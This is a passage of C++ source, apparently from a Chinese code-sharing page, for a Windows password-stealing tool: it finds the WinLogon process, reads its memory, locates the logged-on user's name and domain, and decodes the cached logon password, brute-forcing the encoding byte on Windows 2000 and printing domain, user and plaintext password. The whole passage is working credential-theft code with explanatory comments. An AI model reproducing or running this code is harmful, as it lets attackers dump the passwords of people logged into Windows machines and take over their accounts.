📄 findpass.cpp
字号:
if (pfnNtQuerySystemInformation
(0x10,
InfoP,
SizeNeeded,
&SizeWritten))
{
HeapFree
(GetProcessHeap (),
0,
InfoP);
return (0);
}
DWORD NumHandles = SizeWritten / sizeof (QUERY_SYSTEM_INFORMATION);
if (NumHandles == 0)
{
HeapFree
(GetProcessHeap (),
0,
InfoP);
return (0);
}
PQUERY_SYSTEM_INFORMATION QuerySystemInformationP =
(PQUERY_SYSTEM_INFORMATION) InfoP;
DWORD i;
for (i = 1; i <= NumHandles; i++)
{
// "5" is the value of a kernel object type process.
if (QuerySystemInformationP->HandleType == 5)
{
PVOID DebugBufferP =
pfnRtlCreateQueryDebugBuffer
(0,
0);
if (pfnRtlQueryProcessDebugInformation
(QuerySystemInformationP->PID,
1,
DebugBufferP) == 0)
{
PPROCESS_INFO_HEADER ProcessInfoHeaderP =
(PPROCESS_INFO_HEADER) ((DWORD) DebugBufferP + 0x60);
DWORD Count =
ProcessInfoHeaderP->Count;
PPROCESS_INFO ProcessInfoP =
(PPROCESS_INFO) ((DWORD) ProcessInfoHeaderP + sizeof (PROCESS_INFO_HEADER));
if (strstr (_strupr (ProcessInfoP->Name), "WINLOGON") != 0)
{
DWORD i;
DWORD dw = (DWORD) ProcessInfoP;
for (i = 0; i < Count; i++)
{
dw += sizeof (PROCESS_INFO);
ProcessInfoP = (PPROCESS_INFO) dw;
if (strstr (_strupr (ProcessInfoP->Name), "NWGINA") != 0)
return (0);
if (strstr (_strupr (ProcessInfoP->Name), "MSGINA") == 0)
rc =
QuerySystemInformationP->PID;
}
if (DebugBufferP)
pfnRtlDestroyQueryDebugBuffer
(DebugBufferP);
HeapFree
(GetProcessHeap (),
0,
InfoP);
return (rc);
}
}
if (DebugBufferP)
pfnRtlDestroyQueryDebugBuffer
(DebugBufferP);
}
DWORD dw = (DWORD) QuerySystemInformationP;
dw += sizeof (QUERY_SYSTEM_INFORMATION);
QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) dw;
}
HeapFree
(GetProcessHeap (),
0,
InfoP);
return (rc);
} // FindWinLogon
//
// LocatePasswordPageWinNT函数用来在NT中找到用户密码
//
BOOL
LocatePasswordPageWinNT
(DWORD WinLogonPID,
PDWORD PasswordLength)
{
#define USER_DOMAIN_OFFSET_WINNT 0x200
#define USER_PASSWORD_OFFSET_WINNT 0x400
BOOL rc = FALSE;
HANDLE WinLogonHandle =
OpenProcess
(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
FALSE,
WinLogonPID);
if (WinLogonHandle == 0)
return (rc);
*PasswordLength = 0;
SYSTEM_INFO SystemInfo;
GetSystemInfo
(&SystemInfo);
DWORD PEB = 0x7ffdf000;
DWORD BytesCopied = 0;
PVOID PEBP =
HeapAlloc
(GetProcessHeap (),
HEAP_ZERO_MEMORY,
SystemInfo.dwPageSize);
if (!ReadProcessMemory
(WinLogonHandle,
(PVOID) PEB,
PEBP,
SystemInfo.dwPageSize,
&BytesCopied))
{
CloseHandle
(WinLogonHandle);
return (rc);
}
// Grab the value of the 2nd DWORD in the TEB.
PDWORD WinLogonHeap = (PDWORD) ((DWORD) PEBP + (6 * sizeof (DWORD)));
MEMORY_BASIC_INFORMATION MemoryBasicInformation;
if (VirtualQueryEx
(WinLogonHandle,
(PVOID) *WinLogonHeap,
&MemoryBasicInformation,
sizeof (MEMORY_BASIC_INFORMATION)))
if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)
&&
((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))
{
PVOID WinLogonMemP =
HeapAlloc
(GetProcessHeap (),
HEAP_ZERO_MEMORY,
MemoryBasicInformation.RegionSize);
if (ReadProcessMemory
(WinLogonHandle,
(PVOID) *WinLogonHeap,
WinLogonMemP,
MemoryBasicInformation.RegionSize,
&BytesCopied))
{
DWORD i = (DWORD) WinLogonMemP;
DWORD UserNamePos = 0;
// The order in memory is UserName followed by the UserDomain.
// 在内存中搜索UserName和UserDomain字符串
do
{
if ((wcsicmp (UserName, (wchar_t *) i) == 0)
&&
(wcsicmp (UserDomain, (wchar_t *) (i + USER_DOMAIN_OFFSET_WINNT)) == 0))
{
UserNamePos = i;
break;
}
i += 2;
} while (i < (DWORD) WinLogonMemP + MemoryBasicInformation.RegionSize);
if (UserNamePos)
{
PENCODED_PASSWORD_INFO EncodedPasswordInfoP =
(PENCODED_PASSWORD_INFO)
((DWORD) UserNamePos + USER_PASSWORD_OFFSET_WINNT);
FILETIME LocalFileTime;
SYSTEMTIME SystemTime;
if (FileTimeToLocalFileTime
(&EncodedPasswordInfoP->LoggedOn,
&LocalFileTime))
if (FileTimeToSystemTime
(&LocalFileTime,
&SystemTime))
printf
("You logged on at %d/%d/%d %d:%d:%d\n",
SystemTime.wMonth,
SystemTime.wDay,
SystemTime.wYear,
SystemTime.wHour,
SystemTime.wMinute,
SystemTime.wSecond);
*PasswordLength =
(EncodedPasswordInfoP->EncodedPassword.Length & 0x00ff) / sizeof (wchar_t);
// NT就是好,hash-byte直接放在编码中:)
HashByte =
(EncodedPasswordInfoP->EncodedPassword.Length & 0xff00) >> 8;
RealPasswordP =
(PVOID) (*WinLogonHeap +
(UserNamePos - (DWORD) WinLogonMemP) +
USER_PASSWORD_OFFSET_WINNT + 0x34);
PasswordP =
(PVOID) ((PBYTE) (UserNamePos +
USER_PASSWORD_OFFSET_WINNT + 0x34));
rc = TRUE;
}
}
}
HeapFree
(GetProcessHeap (),
0,
PEBP);
CloseHandle
(WinLogonHandle);
return (rc);
} // LocatePasswordPageWinNT
//
// LocatePasswordPageWin2K函数用来在Win2K中找到用户密码
//
BOOL
LocatePasswordPageWin2K
(DWORD WinLogonPID,
PDWORD PasswordLength)
{
#define USER_DOMAIN_OFFSET_WIN2K 0x400
#define USER_PASSWORD_OFFSET_WIN2K 0x800
HANDLE WinLogonHandle =
OpenProcess
(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
FALSE,
WinLogonPID);
if (WinLogonHandle == 0)
return (FALSE);
*PasswordLength = 0;
SYSTEM_INFO SystemInfo;
GetSystemInfo
(&SystemInfo);
DWORD i = (DWORD) SystemInfo.lpMinimumApplicationAddress;
DWORD MaxMemory = (DWORD) SystemInfo.lpMaximumApplicationAddress;
DWORD Increment = SystemInfo.dwPageSize;
MEMORY_BASIC_INFORMATION MemoryBasicInformation;
while (i < MaxMemory)
{
if (VirtualQueryEx
(WinLogonHandle,
(PVOID) i,
&MemoryBasicInformation,
sizeof (MEMORY_BASIC_INFORMATION)))
{
Increment = MemoryBasicInformation.RegionSize;
if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)
&&
((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))
{
PVOID RealStartingAddressP =
HeapAlloc
(GetProcessHeap (),
HEAP_ZERO_MEMORY,
MemoryBasicInformation.RegionSize);
DWORD BytesCopied = 0;
if (ReadProcessMemory
(WinLogonHandle,
(PVOID) i,
RealStartingAddressP,
MemoryBasicInformation.RegionSize,
&BytesCopied))
{
// 在WinLogon的内存空间中寻找UserName和DomainName的字符串
if ((wcsicmp ((wchar_t *) RealStartingAddressP, UserName) == 0)
&&
(wcsicmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0))
{
RealPasswordP = (PVOID) (i + USER_PASSWORD_OFFSET_WIN2K);
PasswordP = (PVOID) ((DWORD) RealStartingAddressP + USER_PASSWORD_OFFSET_WIN2K);
// Calculate the length of encoded unicode string.
// 计算出密文的长度
PBYTE p = (PBYTE) PasswordP;
DWORD Loc = (DWORD) p;
DWORD Len = 0;
if ((*p == 0)
&&
(* (PBYTE) ((DWORD) p + 1) == 0))
;
else
do
{
Len++;
Loc += 2;
p = (PBYTE) Loc;
} while
(*p != 0);
*PasswordLength = Len;
CloseHandle
(WinLogonHandle);
return (TRUE);
}
}
HeapFree
(GetProcessHeap (),
0,
RealStartingAddressP);
}
}
else
Increment = SystemInfo.dwPageSize;
// Move to next memory block.
i += Increment;
}
CloseHandle
(WinLogonHandle);
return (FALSE);
} // LocatePasswordPageWin2K
//
// DisplayPasswordWinNT函数用来在NT中解码用户密码
//
void
DisplayPasswordWinNT
(void)
{
UNICODE_STRING EncodedString;
EncodedString.Length =
(WORD) PasswordLength * sizeof (wchar_t);
EncodedString.MaximumLength =
((WORD) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);
EncodedString.Buffer =
(PWSTR) HeapAlloc
(GetProcessHeap (),
HEAP_ZERO_MEMORY,
EncodedString.MaximumLength);
CopyMemory
(EncodedString.Buffer,
PasswordP,
PasswordLength * sizeof (wchar_t));
// Finally - decode the password.
// Note that only one call is required since the hash-byte
// was part of the orginally encoded string.
// 在NT中,hash-byte是包含在编码中的
// 因此只需要直接调用函数解码就可以了
pfnRtlRunDecodeUnicodeString
((BYTE) HashByte,
&EncodedString);
printf
("The logon information is: %S/%S/%S.\n",
UserDomain,
UserName,
EncodedString.Buffer);
printf
("The hash byte is: 0x%2.2x.\n",
HashByte);
HeapFree
(GetProcessHeap (),
0,
EncodedString.Buffer);
} // DisplayPasswordWinNT
//
// DisplayPasswordWin2K函数用来在Win2K中解码用户密码
//
void
DisplayPasswordWin2K
(void)
{
DWORD i, Hash = 0;
UNICODE_STRING EncodedString;
EncodedString.Length =
(USHORT) PasswordLength * sizeof (wchar_t);
EncodedString.MaximumLength =
((USHORT) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);
EncodedString.Buffer =
(PWSTR) HeapAlloc
(GetProcessHeap (),
HEAP_ZERO_MEMORY,
EncodedString.MaximumLength);
// This is a brute force technique since the hash-byte
// is not stored as part of the encoded string - :>(.
// 因为在Win2K中hash-byte并不存放在编码中
// 所以在这里进行的是暴力破解
// 下面的循环中i就是hash-byte
// 我们将i从0x00到0xff分别对密文进行解密
// 如果有一个hash-byte使得所有密码都是可见字符,就认为是有效的
// 这个算法实际上是从概率角度来解码的
// 因为如果hash-byte不对而解密出来的密码都是可见字符的概率非常小
for (i = 0; i <= 0xff; i++)
{
CopyMemory
(EncodedString.Buffer,
PasswordP,
PasswordLength * sizeof (wchar_t));
// Finally - try to decode the password.
// 使用i作为hash-byte对密文进行解码
pfnRtlRunDecodeUnicodeString
((BYTE) i,
&EncodedString);
// Check for a viewable password.
// 检查解码出的密码是否完全由可见字符组成
// 如果是则认为是正确的解码
PBYTE p = (PBYTE) EncodedString.Buffer;
BOOL Viewable = TRUE;
DWORD j, k;
for (j = 0; (j < PasswordLength) && Viewable; j++)
{
if ((*p)
&&
(* (PBYTE)(DWORD (p) + 1) == 0))
{
if (*p < 0x20)
Viewable = FALSE;
if (*p > 0x7e)
Viewable = FALSE;
//0x20是空格,0X7E是~,所有密码允许使用的可见字符都包括在里面了
}
else
Viewable = FALSE;
k = DWORD (p);
k++; k++;
p = (PBYTE) k;
}
if (Viewable)
{
printf
("The logon information is: %S/%S/%S.\n",
UserDomain,
UserName,
EncodedString.Buffer);
printf
("The hash byte is: 0x%2.2x.\n",
i);
}
}
HeapFree
(GetProcessHeap (),
0,
EncodedString.Buffer);
} // DisplayPasswordWin2K
// end PasswordReminder.cpp
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -